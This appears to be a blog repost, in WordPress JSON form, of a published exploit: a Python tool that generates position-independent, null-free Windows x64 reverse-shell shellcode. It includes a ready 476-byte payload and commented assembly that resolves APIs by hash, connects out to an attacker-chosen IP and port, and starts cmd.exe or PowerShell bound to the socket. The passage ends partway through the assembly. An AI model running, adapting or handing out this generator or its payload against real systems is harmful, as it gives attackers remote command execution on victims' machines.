{"id":48096,"date":"2023-09-09T16:20:10","date_gmt":"2023-09-09T12:20:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/174554\/476winx64pic-shellcode.txt"},"modified":"2023-09-17T13:37:49","modified_gmt":"2023-09-17T09:07:49","slug":"windows-x64-pic-null-free-tcp-reverse-shell-shellcode","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/windows-x64-pic-null-free-tcp-reverse-shell-shellcode\/","title":{"rendered":"Windows\/x64 PIC Null-Free TCP Reverse Shell Shellcode"},"content":{"rendered":"<p>import ctypes, struct<br \/>\nimport argparse<br \/>\nfrom keystone import *<\/p>\n<p># Exploit Title: Windows\/x64 &#8211; PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)<br \/>\n# Exploit Author: Senzee<br \/>\n# Date: 08\/29\/2023<br \/>\n# Platform: Windows X64<br \/>\n# Tested on: Windows 11 Home\/Windows Server 2022 Standard\/Windows Server 2019 Datacenter<br \/>\n# OS Version (respectively): 10.0.22621 \/10.0.20348 \/10.0.17763<br \/>\n# Test IP: 192.168.1.45<br \/>\n# Test Port: 443<br \/>\n# Payload size: 476 bytes<br \/>\n# NUll-Free: True<br \/>\n# Detailed information can be found at https:\/\/github.com\/senzee1984\/micr0_shell<\/p>\n<p># Generated Shellcode (192.168.1.45:443):<br \/>\n# Payload size: 476 bytes<br \/>\n# buf = b&#8221;\\x48\\x31\\xd2\\x65\\x48\\x8b\\x42\\x60\\x48\\x8b\\x70\\x18\\x48\\x8b\\x76\\x20\\x4c\\x8b\\x0e\\x4d&#8221;<br \/>\n# buf += b&#8221;\\x8b\\x09\\x4d\\x8b\\x49\\x20\\xeb\\x63\\x41\\x8b\\x49\\x3c\\x4d\\x31\\xff\\x41\\xb7\\x88\\x4d\\x01&#8243;<br \/>\n# buf += b&#8221;\\xcf\\x49\\x01\\xcf\\x45\\x8b\\x3f\\x4d\\x01\\xcf\\x41\\x8b\\x4f\\x18\\x45\\x8b\\x77\\x20\\x4d\\x01&#8243;<br \/>\n# buf += b&#8221;\\xce\\xe3\\x3f\\xff\\xc9\\x48\\x31\\xf6\\x41\\x8b\\x34\\x8e\\x4c\\x01\\xce\\x48\\x31\\xc0\\x48\\x31&#8243;<br \/>\n# buf += b&#8221;\\xd2\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x44\\x39\\xc2\\x75\\xda\\x45&#8243;<br \/>\n# buf += b&#8221;\\x8b\\x57\\x24\\x4d\\x01\\xca\\x41\\x0f\\xb7\\x0c\\x4a\\x45\\x8b\\x5f\\x1c\\x4d\\x01\\xcb\\x41\\x8b&#8221;<br \/>\n# buf += b&#8221;\\x04\\x8b\\x4c\\x01\\xc8\\xc3\\xc3\\x4c\\x89\\xcd\\x41\\xb8\\x8e\\x4e\\x0e\\xec\\xe8\\x8f\\xff\\xff&#8221;<br \/>\n# buf += b&#8221;\\xff\\x49\\x89\\xc4\\x48\\x31\\xc0\\x66\\xb8\\x6c\\x6c\\x50\\x48\\xb8\\x57\\x53\\x32\\x5f\\x33\\x32&#8243;<br \/>\n# buf += b&#8221;\\x2e\\x64\\x50\\x48\\x89\\xe1\\x48\\x83\\xec\\x20\\x4c\\x89\\xe0\\xff\\xd0\\x48\\x83\\xc4\\x20\\x49&#8243;<br \/>\n# buf += b&#8221;\\x89\\xc6\\x49\\x89\\xc1\\x41\\xb8\\xcb\\xed\\xfc\\x3b\\x4c\\x89\\xcb\\xe8\\x55\\xff\\xff\\xff\\x48&#8243;<br \/>\n# buf += b&#8221;\\x31\\xc9\\x66\\xb9\\x98\\x01\\x48\\x29\\xcc\\x48\\x8d\\x14\\x24\\x66\\xb9\\x02\\x02\\x48\\x83\\xec&#8221;<br \/>\n# buf += b&#8221;\\x30\\xff\\xd0\\x48\\x83\\xc4\\x30\\x49\\x89\\xd9\\x41\\xb8\\xd9\\x09\\xf5\\xad\\xe8\\x2b\\xff\\xff&#8221;<br \/>\n# buf += b&#8221;\\xff\\x48\\x83\\xec\\x30\\x48\\x31\\xc9\\xb1\\x02\\x48\\x31\\xd2\\xb2\\x01\\x4d\\x31\\xc0\\x41\\xb0&#8243;<br \/>\n# buf += b&#8221;\\x06\\x4d\\x31\\xc9\\x4c\\x89\\x4c\\x24\\x20\\x4c\\x89\\x4c\\x24\\x28\\xff\\xd0\\x49\\x89\\xc4\\x48&#8243;<br \/>\n# buf += b&#8221;\\x83\\xc4\\x30\\x49\\x89\\xd9\\x41\\xb8\\x0c\\xba\\x2d\\xb3\\xe8\\xf3\\xfe\\xff\\xff\\x48\\x83\\xec&#8221;<br \/>\n# buf += b&#8221;\\x20\\x4c\\x89\\xe1\\x48\\x31\\xd2\\xb2\\x02\\x48\\x89\\x14\\x24\\x48\\x31\\xd2\\x66\\xba\\x01\\xbb&#8221;<br \/>\n# buf += b&#8221;\\x48\\x89\\x54\\x24\\x02\\xba\\xc0\\xa8\\x01\\x2d\\x48\\x89\\x54\\x24\\x04\\x48\\x8d\\x14\\x24\\x4d&#8221;<br \/>\n# buf += b&#8221;\\x31\\xc0\\x41\\xb0\\x16\\x4d\\x31\\xc9\\x48\\x83\\xec\\x38\\x4c\\x89\\x4c\\x24\\x20\\x4c\\x89\\x4c&#8221;<br \/>\n# buf += b&#8221;\\x24\\x28\\x4c\\x89\\x4c\\x24\\x30\\xff\\xd0\\x48\\x83\\xc4\\x38\\x49\\x89\\xe9\\x41\\xb8\\x72\\xfe&#8221;<br \/>\n# buf += b&#8221;\\xb3\\x16\\xe8\\x99\\xfe\\xff\\xff\\x48\\xba\\x9c\\x92\\x9b\\xd1\\x9a\\x87\\x9a\\xff\\x48\\xf7\\xd2&#8243;<br \/>\n# buf += b&#8221;\\x52\\x48\\x89\\xe2\\x41\\x54\\x41\\x54\\x41\\x54\\x48\\x31\\xc9\\x66\\x51\\x51\\x51\\xb1\\xff\\x66&#8243;<br \/>\n# buf += b&#8221;\\xff\\xc1\\x66\\x51\\x48\\x31\\xc9\\x66\\x51\\x66\\x51\\x51\\x51\\x51\\x51\\x51\\x51\\xb1\\x68\\x51&#8243;<br \/>\n# buf += b&#8221;\\x48\\x89\\xe7\\x48\\x89\\xe1\\x48\\x83\\xe9\\x20\\x51\\x57\\x48\\x31\\xc9\\x51\\x51\\x51\\x48\\xff&#8221;<br \/>\n# buf += b&#8221;\\xc1\\x51\\xfe\\xc9\\x51\\x51\\x51\\x51\\x49\\x89\\xc8\\x49\\x89\\xc9\\xff\\xd0&#8243;<\/p>\n<p>def print_banner():<br \/>\nbanner=&#8221;&#8221;&#8221;<br \/>\n\u2588\u2588\u2588\u2557\u2591\u2591\u2591\u2588\u2588\u2588\u2557\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2591\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2003\u2003\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557\u2591\u2591\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2557\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2003\u2003\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u2591\u255a\u2550\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2003\u2003\u255a\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2591\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2003\u2003\u2591\u255a\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d\u2591\u2591\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2551\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2588\u2588\u2551\u2591\u255a\u2550\u255d\u2591\u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2003\u2003\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557<br \/>\n\u255a\u2550\u255d\u2591\u2591\u2591\u2591\u2591\u255a\u2550\u255d\u255a\u2550\u255d\u2591\u255a\u2550\u2550\u2550\u2550\u255d\u2591\u255a\u2550\u255d\u2591\u2591\u255a\u2550\u255d\u2591\u255a\u2550\u2550\u2550\u2550\u255d\u2591\u2003\u2003\u255a\u2550\u2550\u2550\u2550\u2550\u255d\u2591\u255a\u2550\u255d\u2591\u2591\u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br \/>\n&#8220;&#8221;&#8221;<br \/>\nprint(banner)<br \/>\nprint(&#8220;Author: Senzee&#8221;)<br \/>\nprint(&#8220;Original Github Repository: https:\/\/github.com\/senzee1984\/micr0_shell&#8221;)<br \/>\nprint(&#8220;Description: Dynamically generate PIC Null-Free Windows X64 TCP Reverse Shell Shellcode&#8221;)<br \/>\nprint(&#8220;This version does not support shellcode execution&#8221;)<br \/>\nprint(&#8220;Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\\n\\n&#8221;)<\/p>\n<p>def get_port_argument(port):<br \/>\nport_hex_str = format(port, &#8217;04x&#8217;)<br \/>\nport_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]\nif &#8220;00&#8221; in {port_part_1, port_part_2}:<br \/>\nport += 257<br \/>\nport_hex_str = format(port, &#8217;04x&#8217;)<br \/>\nport_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]\nreturn f&#8221;mov dx, 0x{port_part_1 + port_part_2};\\nsub dx, 0x101;&#8221;<br \/>\nreturn f&#8221;mov dx, 0x{port_part_1 + port_part_2};&#8221;<\/p>\n<p>def get_ip_argument(ip):<br \/>\nip_hex_parts = [format(int(part), &#8217;02x&#8217;) for part in ip.split(&#8216;.&#8217;)]\nreversed_hex = &#8221;.join(ip_hex_parts[::-1])<br \/>\nif &#8220;00&#8221; in ip_hex_parts and &#8220;ff&#8221; not in ip_hex_parts:<br \/>\nhex_int = int(reversed_hex, 16)<br \/>\nneg_hex = (0xFFFFFFFF + 1 &#8211; hex_int) &amp; 0xFFFFFFFF<br \/>\nreturn f&#8221;mov edx, 0x{neg_hex:08x};\\nneg rdx;&#8221;<br \/>\nreturn f&#8221;mov edx, 0x{reversed_hex};&#8221;<\/p>\n<p>def get_shell_type_argument(shell_type):<br \/>\nif shell_type == &#8220;cmd&#8221;:<br \/>\nreturn f&#8221;mov rdx, 0xff9a879ad19b929c;\\nnot rdx;&#8221;<br \/>\nreturn (f&#8221;sub rsp, 8;\\nmov rdx, 0xffff9a879ad19393;\\nnot rdx;\\npush rdx;&#8221;<br \/>\nf&#8221;\\nmov rdx, 0x6568737265776f70;&#8221;)<\/p>\n<p>def output_shellcode(lan,encoding,var,save):<br \/>\nsh = b&#8221;&#8221;<br \/>\nfor e in encoding:<br \/>\nsh += struct.pack(&#8220;B&#8221;, e)<br \/>\nshellcode = bytearray(sh)<br \/>\nprint(&#8220;[+]Payload size: &#8220;+str(len(encoding))+&#8221; bytes\\n&#8221;)<br \/>\ncounter=0<\/p>\n<p>if lan==&#8221;python&#8221;:<br \/>\nprint(&#8220;[+]Shellcode format for Python\\n&#8221;)<br \/>\nsc = &#8220;&#8221;<br \/>\nsc = var+&#8221; = b\\&#8221;&#8221;<br \/>\nfor dec in encoding:<br \/>\nif counter % 20 == 0 and counter != 0:<br \/>\nsc += &#8220;\\&#8221;\\n&#8221;+var+&#8221;+=&#8221;+&#8221;b\\&#8221;&#8221;<br \/>\nsc += &#8220;\\\\x{0:02x}&#8221;.format(int(dec))<br \/>\ncounter += 1<\/p>\n<p>if count % 20 &gt; 0:<br \/>\nsc += &#8220;\\&#8221;&#8221;<br \/>\nprint(sc)<\/p>\n<p>elif lan==&#8221;c&#8221;:<br \/>\nprint(&#8220;[+]Shellcode format for C\\n&#8221;)<br \/>\nsc = &#8220;unsigned char &#8221; + var + &#8220;[]={\\n&#8221;<br \/>\nfor dec in encoding:<br \/>\nif counter % 20 == 0 and counter != 0:<br \/>\nsc += &#8220;\\n&#8221;<br \/>\nsc += &#8220;0x{0:02x}&#8221;.format(int(dec))+&#8221;,&#8221;<br \/>\ncounter += 1<br \/>\nsc=sc[0:len(sc)-1]+&#8221;};&#8221;<br \/>\nprint(sc)<\/p>\n<p>elif lan==&#8221;powershell&#8221;:<br \/>\nprint(&#8220;[+]Shellcode format for Powershell\\n&#8221;)<br \/>\nsc = &#8220;[Byte[]] $&#8221;+var+&#8221; = &#8221;<br \/>\nfor dec in encoding:<br \/>\nsc += &#8220;0x{0:02x}&#8221;.format(int(dec))+&#8221;,&#8221;<br \/>\nsc=sc[0:len(sc)-1]\nprint(sc)<\/p>\n<p>elif lan==&#8221;csharp&#8221;:<br \/>\nprint(&#8220;[+]Shellcode format for C#\\n&#8221;)<br \/>\nsc = &#8220;byte[] &#8221; + var + &#8220;= new byte[&#8220;+str(len(encoding))+&#8221;] {\\n&#8221;<br \/>\nfor dec in encoding:<br \/>\nif counter % 20 == 0 and counter != 0:<br \/>\nsc += &#8220;\\n&#8221;<br \/>\nsc += &#8220;0x{0:02x}&#8221;.format(int(dec))+&#8221;,&#8221;<br \/>\ncounter += 1<br \/>\nsc=sc[0:len(sc)-1]+&#8221;};&#8221;<br \/>\nprint(sc)<\/p>\n<p>else:<br \/>\nprint(&#8220;Unsupported language! Exiting&#8230;&#8221;)<br \/>\nexit()<\/p>\n<p>if save==&#8221;true&#8221;:<br \/>\ntry:<br \/>\nwith open(output, &#8216;wb&#8217;) as f:<br \/>\nf.write(shellcode)<br \/>\nprint(&#8220;\\n\\nGenerated shellcode successfully saved in file &#8220;+output)<br \/>\nexcept Exception as e:<br \/>\nprint(e)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\nprint_banner()<br \/>\nparser = argparse.ArgumentParser(description=&#8217;Dynamically generate Windows x64 reverse shell.&#8217;)<br \/>\nparser.add_argument(&#8216;&#8211;ip&#8217;, &#8216;-i&#8217;, required=True, dest=&#8217;ip&#8217;,help=&#8217;The listening IP address, default value is 192.168.0.45&#8242;)<br \/>\nparser.add_argument(&#8216;&#8211;port&#8217;, &#8216;-p&#8217;, required=False, default=443, dest=&#8217;port&#8217;,help=&#8217;The local listening port, default value is 443&#8242;)<br \/>\nparser.add_argument(&#8216;&#8211;language&#8217;, &#8216;-l&#8217;, required=False, default=&#8217;python&#8217;, dest=&#8217;lan&#8217;,help=&#8217;The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell&#8217;)<br \/>\nparser.add_argument(&#8216;&#8211;variable&#8217;, &#8216;-v&#8217;, required=False, default=&#8217;buf&#8217;, dest=&#8217;var&#8217;,help=&#8217;The variable name of shellcode array, default variable is buf&#8217;)<br \/>\nparser.add_argument(&#8216;&#8211;type&#8217;, &#8216;-t&#8217;, required=False, default=&#8217;cmd&#8217;, dest=&#8217;shell_type&#8217;,help=&#8217;The shell type, Powershell or Cmd, default shell is cmd&#8217;)<br \/>\nparser.add_argument(&#8216;&#8211;save&#8217;, &#8216;-s&#8217;, required=False, default=&#8217;False&#8217;, dest=&#8217;save&#8217;,help=&#8217;Whether to save the generated shellcode to a bin file, True\/False&#8217;)<br \/>\nparser.add_argument(&#8216;&#8211;output&#8217;, &#8216;-o&#8217;, required=False, default=&#8221;, dest=&#8217;output&#8217;,help=&#8217;If choose to save the shellcode to file, the desired location.&#8217;)<\/p>\n<p>args = parser.parse_args()<br \/>\nip=args.ip<br \/>\nport=int(args.port)<br \/>\nlan=args.lan.lower()<br \/>\nvar=args.var<br \/>\nshell_type=args.shell_type.lower()<br \/>\nsave=args.save.lower()<br \/>\noutput=args.output<br \/>\nprint(&#8220;[+]Shellcode Settings:&#8221;)<br \/>\nprint(&#8220;******** IP Address: &#8220;+ip)<br \/>\nprint(&#8220;******** Listening Port: &#8220;+str(port))<br \/>\nprint(&#8220;******** Language of desired shellcode runner: &#8220;+lan)<br \/>\nprint(&#8220;******** Shellcode array variable name: &#8220;+var)<br \/>\nprint(&#8220;******** Shell: &#8220;+shell_type)<br \/>\nprint(&#8220;******** Save Shellcode to file: &#8220;+save+&#8221;\\n\\n&#8221;)<\/p>\n<p>args = parser.parse_args()<br \/>\nport_argument = get_port_argument(port)<br \/>\nip_argument = get_ip_argument(ip)<br \/>\nshell_type = get_shell_type_argument(shell_type)<\/p>\n<p>CODE = (<br \/>\n&#8220;find_kernel32:&#8221;<br \/>\n&#8221; xor rdx, rdx;&#8221;<br \/>\n&#8221; mov rax, gs:[rdx+0x60];&#8221; # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address<br \/>\n&#8221; mov rsi,[rax+0x18];&#8221; # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure<br \/>\n&#8221; mov rsi,[rsi + 0x30];&#8221; # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure<br \/>\n&#8221; mov r9, [rsi];&#8221; # Current module is python.exe<br \/>\n&#8221; mov r9, [r9];&#8221; # Current module is ntdll.dll<br \/>\n&#8221; mov r9, [r9+0x10];&#8221; # Current module is kernel32.dll<br \/>\n&#8221; jmp jump_section;&#8221;<\/p>\n<p>&#8220;parse_module:&#8221; # Parsing DLL file in memory<br \/>\n&#8221; mov ecx, dword ptr [r9 + 0x3c];&#8221; # R9 stores the base address of the module, get the NT header offset<br \/>\n&#8221; xor r15, r15;&#8221;<br \/>\n&#8221; mov r15b, 0x88;&#8221; # Offset to Export Directory<br \/>\n&#8221; add r15, r9;&#8221;<br \/>\n&#8221; add r15, rcx;&#8221;<br \/>\n&#8221; mov r15d, dword ptr [r15];&#8221; # Get the RVA of the export directory<br \/>\n&#8221; add r15, r9;&#8221; # R14 stores the VMA of the export directory<br \/>\n&#8221; mov ecx, dword ptr [r15 + 0x18];&#8221; # ECX stores the number of function names as an index value<br \/>\n&#8221; mov r14d, dword ptr [r15 + 0x20];&#8221; # Get the RVA of ENPT<br \/>\n&#8221; add r14, r9;&#8221; # R14 stores the VMA of ENPT<\/p>\n<p>&#8220;search_function:&#8221; # Search for a given function<br \/>\n&#8221; jrcxz not_found;&#8221; # If RCX is 0, the given function is not found<br \/>\n&#8221; dec ecx;&#8221; # Decrease index by 1<br \/>\n&#8221; xor rsi, rsi;&#8221;<br \/>\n&#8221; mov esi, [r14 + rcx*4];&#8221; # RVA of function name string<br \/>\n&#8221; add rsi, r9;&#8221; # RSI points to function name string<\/p>\n<p>&#8220;function_hashing:&#8221; # Hash function name function<br \/>\n&#8221; xor rax, rax;&#8221;<br \/>\n&#8221; xor rdx, rdx;&#8221;<br \/>\n&#8221; cld;&#8221; # Clear DF flag<\/p>\n<p>&#8220;iteration:&#8221; # Iterate over each byte<br \/>\n&#8221; lodsb;&#8221; # Copy the next byte of RSI to Al<br \/>\n&#8221; test al, al;&#8221; # If reaching the end of the string<br \/>\n&#8221; jz compare_hash;&#8221; # Compare hash<br \/>\n&#8221; ror edx, 0x0d;&#8221; # Part of hash algorithm<br \/>\n&#8221; add edx, eax;&#8221; # Part of hash algorithm<br \/>\n&#8221; jmp iteration;&#8221; # Next byte<\/p>\n<p>&#8220;compare_hash:&#8221; # Compare hash<br \/>\n&#8221; cmp edx, r8d;&#8221;<br \/>\n&#8221; jnz search_function;&#8221; # If not equal, search the previous function (index decreases)<br \/>\n&#8221; mov r10d, [r15 + 0x24];&#8221; # Ordinal table RVA<br \/>\n&#8221; add r10, r9;&#8221; # Ordinal table VMA<br \/>\n&#8221; movzx ecx, word ptr [r10 + 2*rcx];&#8221; # Ordinal value -1<br \/>\n&#8221; mov r11d, [r15 + 0x1c];&#8221; # RVA of EAT<br \/>\n&#8221; add r11, r9;&#8221; # VMA of EAT<br \/>\n&#8221; mov eax, [r11 + 4*rcx];&#8221; # RAX stores RVA of the function<br \/>\n&#8221; add rax, r9;&#8221; # RAX stores VMA of the function<br \/>\n&#8221; ret;&#8221;<br \/>\n&#8220;not_found:&#8221;<br \/>\n&#8221; ret;&#8221;<\/p>\n<p>&#8220;jump_section:&#8221; # Achieve PIC and elminiate 0x00 byte<br \/>\n&#8221; mov rbp, r9;&#8221; # RBP stores base address of Kernel32.dll<br \/>\n&#8221; mov r8d, 0xec0e4e8e;&#8221; # LoadLibraryA Hash<br \/>\n&#8221; call parse_module;&#8221; # Search LoadLibraryA&#8217;s address<br \/>\n&#8221; mov r12, rax;&#8221; # R12 stores the address of LoadLibraryA function<\/p>\n<p>&#8220;load_module:&#8221;<br \/>\n&#8221; xor rax, rax;&#8221;<br \/>\n&#8221; mov ax, 0x6c6c;&#8221; # Save the string &#8220;ll&#8221; to RAX<br \/>\n&#8221; push rax;&#8221; # Push the string to the stack<br \/>\n&#8221; mov rax, 0x642E32335F325357;&#8221; # Save the string &#8220;WS2_32.D&#8221; to RAX<br \/>\n&#8221; push rax;&#8221; # Push the string to the stack<br \/>\n&#8221; mov rcx, rsp;&#8221; # RCX points to the &#8220;WS2_32.dll&#8221; string<br \/>\n&#8221; sub rsp, 0x20;&#8221; # Function prologue<br \/>\n&#8221; mov rax, r12;&#8221; # RAX stores address of LoadLibraryA function<br \/>\n&#8221; call rax;&#8221; # LoadLibraryA(&#8220;ws2_32.dll&#8221;)<br \/>\n&#8221; add rsp, 0x20;&#8221; # Function epilogue<br \/>\n&#8221; mov r14, rax;&#8221; # R14 stores the base address of ws2_32.dll<\/p>\n<p>&#8220;call_wsastartup:&#8221;<br \/>\n&#8221; mov r9, rax;&#8221; # R9 stores the base address of ws2_32.dll<br \/>\n&#8221; mov r8d, 0x3bfcedcb;&#8221; # Hash of WSAStartup<br \/>\n&#8221; mov rbx, r9;&#8221; # Save the base address of ws2_32.dll to RBX for later use<br \/>\n&#8221; call parse_module;&#8221; # Search for and get the address of WSAStartup<br \/>\n&#8221; xor rcx, rcx;&#8221;<br \/>\n&#8221; mov cx, 0x198;&#8221;<br \/>\n&#8221; sub rsp, rcx;&#8221; # Reserve enough space for the lpWSDATA structure<br \/>\n&#8221; lea rdx, [rsp];&#8221; # Assign the address of lpWSAData to the RDX register as the 2nd parameter<br \/>\n&#8221; mov cx, 0x202;&#8221; # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter<br \/>\n&#8221; sub rsp, 0x30;&#8221; # Function prologue<br \/>\n&#8221; call rax;&#8221; # Call WSAStartup<br \/>\n&#8221; add rsp, 0x30;&#8221; # Function epilogue<\/p>\n<p>&#8220;call_wsasocket:&#8221;<br \/>\n&#8221; mov r9, rbx;&#8221;<br \/>\n&#8221; mov r8d, 0xadf509d9;&#8221; # Hash of WSASocketA function<br \/>\n&#8221; call parse_module;&#8221; # Get the address of WSASocketA function<br \/>\n&#8221; sub rsp, 0x30;&#8221; # Function prologue<br \/>\n&#8221; xor rcx, rcx;&#8221;<br \/>\n&#8221; mov cl, 2;&#8221; # AF is 2 as the 1st parameter<br \/>\n&#8221; xor rdx, rdx;&#8221;<br \/>\n&#8221; mov dl, 1;&#8221; # Type is 1 as the 2nd parameter<br \/>\n&#8221; xor r8, r8;&#8221;<br \/>\n&#8221; mov r8b, 6;&#8221; # Protocol is 6 as the 3rd parameter<br \/>\n&#8221; xor r9, r9;&#8221; # lpProtocolInfo is 0 as the 4th parameter<br \/>\n&#8221; mov [rsp+0x20], r9;&#8221; # g is 0 as the 5th parameter, stored on the stack<br \/>\n&#8221; mov [rsp+0x28], r9;&#8221; # dwFlags is 0 as the 6th parameter, stored on the stack<br \/>\n&#8221; call rax;&#8221; # Call WSASocketA function<br \/>\n&#8221; mov r12, rax;&#8221; # Save the returned socket type return value in R12 to prevent data loss in RAX<br \/>\n&#8221; add rsp, 0x30;&#8221; # Function epilogue<\/p>\n<p>&#8220;call_wsaconnect:&#8221;<br \/>\n&#8221; mov r9, rbx;&#8221;<br \/>\n&#8221; mov r8d, 0xb32dba0c;&#8221; # Hash of WSAConnect<br \/>\n&#8221; call parse_module;&#8221; # Get the address of WSAConnect<br \/>\n&#8221; sub rsp, 0x20;&#8221; # Allocate enough space for the socketaddr structure<br \/>\n&#8221; mov rcx, r12;&#8221; # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter<br \/>\n&#8221; xor rdx, rdx;&#8221;<br \/>\n&#8221; mov dl, 2;&#8221; # Set sin_family to AF_INET (=2)<br \/>\n&#8221; mov [rsp], rdx;&#8221; # Store the socketaddr structure<br \/>\n&#8221; xor rdx, rdx;&#8221;<br \/>\nf&#8221;{port_argument}&#8221; # Set local port dynamically<br \/>\n&#8221; mov [rsp+2], rdx;&#8221; # Pass the port value to the corresponding position in the socketaddr structure<br \/>\nf&#8221;{ip_argument}&#8221;<br \/>\n&#8221; mov [rsp+4], rdx;&#8221; # Pass IP to the corresponding position in the socketaddr structure<br \/>\n# &#8221; xor r8, r8;&#8221;<br \/>\n# &#8221; mov [rsp+8], r8;&#8221; # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working<br \/>\n&#8221; lea rdx, [rsp];&#8221; # Pointer to the socketaddr structure as the 2nd parameter<br \/>\n&#8221; xor r8, r8;&#8221;<br \/>\n&#8221; mov r8b, 0x16;&#8221; # Set namelen member to 0x16<br \/>\n&#8221; xor r9, r9;&#8221; # lpCallerData is 0 as the 4th parameter<br \/>\n&#8221; sub rsp, 0x38;&#8221; # Function prologue<br \/>\n&#8221; mov [rsp+0x20], r9;&#8221; # lpCalleeData is 0 as the 5th parameter<br \/>\n&#8221; mov [rsp+0x28], r9;&#8221; # lpSQOS is 0 as the 6th parameter<br \/>\n&#8221; mov [rsp+0x30], r9;&#8221; # lpGQOS is 0 as the 7th parameter<br \/>\n&#8221; call rax;&#8221; # Call WSAConnect<br \/>\n&#8221; add rsp, 0x38;&#8221; # Function epilogue<\/p>\n<p>&#8220;call_createprocess:&#8221;<br \/>\n&#8221; mov r9, rbp;&#8221; # R9 stores the base address of Kernel32.dll<br \/>\n&#8221; mov r8d, 0x16b3fe72;&#8221; # Hash of CreateProcessA<br \/>\n&#8221; call parse_module;&#8221; # Get the address of CreateProcessA<br \/>\nf&#8221;{shell_type}&#8221;<br \/>\n&#8221; push rdx;&#8221;<br \/>\n&#8221; mov rdx, rsp;&#8221; # Pointer to &#8220;cmd.exe&#8221; is stored in the RCX register<br \/>\n&#8221; push r12;&#8221; # The member STDERROR is the return value of WSASocketA<br \/>\n&#8221; push r12;&#8221; # The member STDOUTPUT is the return value of WSASocketA<br \/>\n&#8221; push r12;&#8221; # The member STDINPUT is the return value of WSASocketA<br \/>\n&#8221; xor rcx, rcx;&#8221;<br \/>\n&#8221; push cx;&#8221; # Pad with 0x00 before pushing the dwFlags member, only the total size matters<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; mov cl, 0xff;&#8221;<br \/>\n&#8221; inc cx;&#8221; # 0xff+1=0x100<br \/>\n&#8221; push cx;&#8221; # dwFlags=0x100<br \/>\n&#8221; xor rcx, rcx;&#8221;<br \/>\n&#8221; push cx;&#8221; # Pad with 0 before pushing the cb member, only the total size matters<br \/>\n&#8221; push cx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; push rcx;&#8221;<br \/>\n&#8221; mov cl, 0x68;&#8221;<br \/>\n&#8221; push rcx;&#8221; # cb=0x68<br \/>\n&#8221; mov rdi, rsp;&#8221; # Pointer to STARTINFOA structure<br \/>\n&#8221; mov rcx, rsp;&#8221;<br \/>\n&#8221; sub rcx, 0x20;&#8221; # Reserve enough space for the ProcessInformation structure<br 